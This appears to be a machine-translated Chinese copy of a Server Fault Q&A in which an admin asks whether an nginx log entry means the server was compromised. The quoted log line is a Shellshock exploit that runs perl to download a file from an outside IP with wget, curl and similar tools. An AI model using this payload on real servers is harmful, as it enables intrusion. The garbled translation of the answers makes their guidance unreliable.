在nginx访问日志中有很多条目,如下所示。我如何知道这些脚本的结果,以及我的服务器是否被破坏?
162.232.183.48 - - [14/Jan/2016:10:54:57 +0000] "GET /cgi-bin/php4 HTTP/1.1" 200 1494 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22 wget http://2
04.232.209.188/images/freshcafe/slice_30_192.png ; curl -O http://204.232.209.188/images/freshcafe/slice_30_192.png ; fetch http://204.232.209.188/images/freshcafe/slice_30_192.png ; lwp-download http://204.232
.209.188/images/freshcafe/slice_30_192.png ; GET http://204.232.209.188/images/freshcafe/slice_30_192.png ; lynx http://204.232.209.188/images/freshcafe/slice_30_192.png \x22);'" "-"发布于 2016-01-15 19:15:54
注意神奇的字符串() { :; };。他们试图四处窥探,看看您的服务器是否易受雪莉休克开发攻击。这里使用Perl打印并查看攻击是否成功。
测试您的服务器是否易受Shell休克攻击。如果不是的话,你就明白了。
发布于 2016-01-19 23:57:59
他想对你实施弹射攻击。有趣的是,他的攻击配置不当。我捕获恶意软件,他的wget/wget/etc失败,因为他的包不在那里:-)
https://serverfault.com/questions/749081
复制相似问题